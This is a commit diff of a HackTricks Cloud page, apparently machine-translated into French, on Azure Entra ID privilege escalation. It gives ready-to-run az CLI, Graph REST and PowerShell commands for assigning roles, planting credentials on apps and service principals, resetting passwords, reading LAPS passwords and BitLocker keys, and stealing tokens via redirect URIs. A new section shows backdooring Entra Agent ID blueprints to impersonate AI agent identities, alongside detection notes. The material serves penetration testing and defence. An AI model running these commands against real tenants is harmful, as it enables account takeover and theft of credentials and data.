mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+116
-34
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
> Note that **all the granular permissions** built-in roles have in Entra ID **are not eligible to be used in custom roles.**
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner plus de permissions aux rôles. Les deux actions pourraient être abusées pour escalader les privilèges.
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
```bash
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Cela permet à un attaquant d’**ajouter des credentials** (passwords ou certificates) à des applications existantes. Si l’application a des permissions privilégiées, l’attaquant peut s’authentifier en tant que cette application et obtenir ces privilèges.
|
||||
Cela permet à un attaquant d’**ajouter des credentials** (mots de passe ou certificats) à des applications existantes. Si l’application a des permissions privilégiées, l’attaquant peut s’authentifier en tant que cette application et obtenir ces privilèges.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications à annuaire unique.
|
||||
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications à répertoire unique.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
En s’ajoutant comme owner, un attaquant peut manipuler l’application, y compris les credentials et permissions.
|
||||
En s'ajoutant comme owner, un attaquant peut manipuler l'application, y compris les credentials et les permissions.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent le nouveau redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification sera automatique sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
|
||||
Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent la nouvelle redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification se fera automatiquement sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
|
||||
|
||||
Notez qu'il est également possible de modifier les permissions demandées par l'application afin d'obtenir plus de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau l'invite demandant toutes les permissions.
|
||||
Notez qu'il est aussi possible de modifier les permissions demandées par l'application afin d'obtenir davantage de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,11 +88,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** qui leur sont assignées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un user se connecte à l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications hautement privilégiées dans chaque tenant Entra ID**.
|
||||
**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** attribuées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque tenant Entra ID**.
|
||||
|
||||
Ensuite, si un attaquant dispose d'un quelconque permission/role qui lui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
|
||||
Ensuite, si un attacker dispose de n'importe quelle permission/rôle qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
|
||||
|
||||
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, cependant quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est désormais plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **custom applications avec de hauts privilèges qui pourraient être abusées**.
|
||||
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, mais quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est maintenant plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **applications custom avec de hauts privilèges qui pourraient être abusées**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Trouver toutes les autorisations API des applications et marquer les API appartenant à Microsoft</summary>
|
||||
<summary>Find all applications API permissions and mark Microsoft-owned APIs</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -241,27 +241,102 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
|
||||
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attacker peut assumer ces privilèges.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être un moyen furtif de maintenir la persistence sur un service principal.\
|
||||
> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être un moyen furtif de maintenir une persistence sur un service principal.\
|
||||
> Depuis l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'il **n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord la déverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui permet d'exécuter :
|
||||
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord la déverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### Abus d'identifiants du blueprint Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
|
||||
|
||||
Les **agent identity blueprints** sont des objets application et chaque blueprint crée également un **agent identity blueprint principal** dans le tenant. Les **agent identities** sont des enfants dérivés du service principal de ce chemin de blueprint. Par conséquent, si un attaquant peut **ajouter un mot de passe/certificat au blueprint** ou a déjà volé l’un de ses identifiants, il peut ensuite s’authentifier en tant que **blueprint principal** et demander des tokens pour les agent identities enfants.
|
||||
|
||||
Cela transforme une mauvaise attribution de rôle Entra Agent ID en :
|
||||
|
||||
- **Persistence** : le nouveau `passwordCredential` reste sur le blueprint jusqu’à sa suppression
|
||||
- **Privilege escalation** : un agent low-trust/dev peut passer vers un autre blueprint high-trust puis agir en tant que ses agent identities enfants
|
||||
|
||||
Les chemins dangereux typiques sont :
|
||||
|
||||
- Un agent identity compromis avec **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- Un owner/sponsor/admin compromis capable de gérer le blueprint
|
||||
- Le vol d’un secret/certificat de blueprint existant
|
||||
|
||||
Ajouter un nouveau secret au blueprint cible :
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
|
||||
```
|
||||
Ou avec Microsoft Graph PowerShell :
|
||||
```powershell
|
||||
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
|
||||
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
|
||||
```
|
||||
Si la nouvelle credential est acceptée, authentifiez-vous en tant que **blueprint principal** et abusez de l’Agent ID token exchange. La première requête utilise la blueprint credential et définit **`fmi_path`** sur l’identité de l’agent cible. Le token retourné est ensuite réutilisé comme **JWT bearer `client_assertion`** pour obtenir un Microsoft Graph token pour cette identité d’agent.
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
|
||||
--data-urlencode 'client_secret=<new-blueprint-secret>' \
|
||||
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
|
||||
--data-urlencode 'grant_type=client_credentials' \
|
||||
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
|
||||
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
|
||||
--data-urlencode 'client_assertion=<token-from-previous-step>' \
|
||||
--data-urlencode 'grant_type=client_credentials' \
|
||||
--data-urlencode 'scope=https://graph.microsoft.com/.default'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Si un blueprint **dev** ou son agent enfant peut ajouter des credentials à un blueprint **prod**, l’attaquant franchit la frontière de confiance attendue entre blueprint/agent et obtient un accès durable à l’infrastructure de l’agent cible.
|
||||
|
||||
Quick validation / scoping:
|
||||
```powershell
|
||||
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
|
||||
$sp.AdditionalProperties['@odata.type']
|
||||
$sp.AdditionalProperties['agentIdentityBlueprintId']
|
||||
|
||||
$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
|
||||
$app.AdditionalProperties['@odata.type']
|
||||
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
|
||||
```
|
||||
Notes de chasse :
|
||||
|
||||
- Recherchez **`Update application – Certificates and secrets management`** dans [Az - Monitoring](../../az-services/az-monitoring.md)
|
||||
- Corrélez **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, et **`AADServicePrincipalSignInLogs`** en utilisant le temps, l’ID du service principal, le user-agent, l’IP, et `SignInActivityId` / `UniqueTokenIdentifier`
|
||||
- Dans `MicrosoftGraphActivityLogs`, vérifiez `RequestUri` se terminant par **`/applications/<id>/microsoft.graph.addPassword`** et si `Roles` contient **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- Dans `AADServicePrincipalSignInLogs`, examinez `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, et si la nouvelle clé a ensuite été utilisée
|
||||
|
||||
KQL minimal pour voir si le nouveau secret ajouté s’est authentifié :
|
||||
```kusto
|
||||
AADServicePrincipalSignInLogs
|
||||
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
|
||||
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
|
||||
```
|
||||
Ceci est lié à l’[abuse de credential d’application](../../az-services/az-azuread.md#applications) générique et à la [persistance de credential de service principal](../../az-persistence/README.md#applications-and-service-principals), mais Entra Agent ID ajoute une deuxième étape où le blueprint credential peut être échangé contre un **different agent identity token**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Cela permet à un attaquant d’ajouter des credentials aux service principals existants. Si le service principal dispose de privilèges élevés, l’attaquant peut assumer ces privilèges.
|
||||
Cela permet à un attaquant d’ajouter des credentials aux service principals existants. Si le service principal a des privilèges élevés, l’attaquant peut hériter de ces privilèges.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Comme pour les applications, cette permission permet d'ajouter davantage de owners à un service principal. Posséder un service principal permet de contrôler ses credentials et ses permissions.
|
||||
Comme pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet d'en contrôler les credentials et les permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -279,11 +354,11 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Après avoir ajouté un nouvel owner, j’ai essayé de le supprimer mais l’API a répondu que la méthode DELETE n’était pas prise en charge, même si c’est la méthode qu’il faut utiliser pour supprimer l’owner. Donc, vous **ne pouvez plus supprimer d’owners actuellement**.
|
||||
> Après avoir ajouté un nouvel owner, j’ai essayé de le supprimer, mais l’API a répondu que la méthode DELETE n’était pas prise en charge, même si c’est la méthode qu’il faut utiliser pour supprimer l’owner. Donc, vous **ne pouvez pas supprimer les owners actuellement**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Ces permissions permettent de désactiver et d’activer des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il pourrait obtenir accès d’une manière ou d’une autre afin d’escalader ses privilèges.
|
||||
Ces permissions permettent de désactiver et d’activer des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il pourrait accéder d’une manière ou d’une autre afin d’escalader ses privilèges.
|
||||
|
||||
Notez que pour cette technique, l’attaquant aura besoin de plus de permissions afin de prendre le contrôle du service principal activé.
|
||||
```bash
|
||||
@@ -295,7 +370,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Ces permissions permettent de créer et d’obtenir des credentials pour le single sign-on, ce qui pourrait permettre l’accès à des applications tierces.
|
||||
Ces permissions permettent de créer et d’obtenir des credentials pour le single sign-on, ce qui pourrait permettre d’accéder à des applications tierces.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -321,20 +396,20 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui mène à une privilege escalation.
|
||||
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui conduit à une élévation de privilèges.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Note**: Cette permission exclut les groupes assignables à un rôle Entra ID.
|
||||
**Note** : Cette permission exclut les groupes assignables de rôle Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Cette permission permet de devenir propriétaire de groupes. Un propriétaire d’un groupe peut contrôler l’appartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
|
||||
Cette permission permet de devenir propriétaire de groupes. Un propriétaire d'un groupe peut contrôler l'appartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Note**: Cette permission exclut les groupes assignables de rôle Entra ID.
|
||||
**Note** : Cette permission exclut les groupes assignables aux rôles Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
@@ -344,7 +419,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Cette permission permet de mettre à jour la règle d'appartenance dans un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
|
||||
Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -355,11 +430,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Note**: Cette permission exclut les groupes attribuables à un rôle Entra ID.
|
||||
**Note**: Cette permission exclut les groupes assignables à des rôles Entra ID.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Il pourrait être possible pour des utilisateurs d’escalader les privilèges en modifiant leurs propres propriétés pour être ajoutés comme membres de groupes dynamiques. Pour plus d’infos, voir :
|
||||
Il peut être possible pour des utilisateurs d’escalader leurs privilèges en modifiant leurs propres propriétés afin d’être ajoutés en tant que membres de groupes dynamiques. Pour plus d’infos, consultez :
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -369,7 +444,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, permettant à un attaquant potentiel d’escalader les privilèges vers d’autres utilisateurs. Cette permission ne peut pas être attribuée à des custom roles.
|
||||
Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, ce qui permet à un attaquant potentiel d’escalader ses privilèges vers d’autres utilisateurs. Cette permission ne peut pas être attribuée à des rôles personnalisés.
|
||||
```bash
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
@@ -389,7 +464,7 @@ az rest --method PATCH \
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriétés, donc cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour être membre d'un dynamic group spécifique et escalader les privilèges.
|
||||
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour devenir membre d'un dynamic group spécifique et escalader les privilèges.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -405,9 +480,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
## Politiques d'accès conditionnel et contournement de MFA
|
||||
|
||||
Des politiques d'accès conditionnel mal configurées nécessitant MFA pourraient être contournées, voir :
|
||||
Des politiques d'accès conditionnel mal configurées nécessitant MFA peuvent être contournées, vérifiez :
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -417,7 +492,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Cette permission permet aux attaquants de s'attribuer eux-mêmes comme propriétaires de devices afin de prendre le contrôle ou d'accéder à des paramètres et données spécifiques au device.
|
||||
Cette permission permet aux attaquants de s'assigner eux-mêmes comme owners de devices afin de prendre le contrôle ou d'accéder à des paramètres et des données spécifiques au device.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -428,7 +503,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Cette permission permet aux attaquants d’associer leur compte à des devices afin d’obtenir un accès ou de contourner des security policies.
|
||||
Cette permission permet aux attaquants d'associer leur compte à des devices afin d'obtenir un accès ou de contourner des politiques de sécurité.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -439,7 +514,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Cette permission permet aux attackers de lire les propriétés des identifiants du compte administrateur local sauvegardé pour les devices Microsoft Entra joined, y compris le password
|
||||
Cette permission permet aux attackers de lire les propriétés des credentials de compte administrateur local sauvegardés pour les devices Microsoft Entra joined, y compris le mot de passe
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -454,7 +529,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant la confidentialité des données.
|
||||
Cette permission permet d’accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des lecteurs, compromettant la confidentialité des données.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -475,4 +550,11 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications/appRoles/update`
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
## Références
|
||||
|
||||
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
|
||||
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user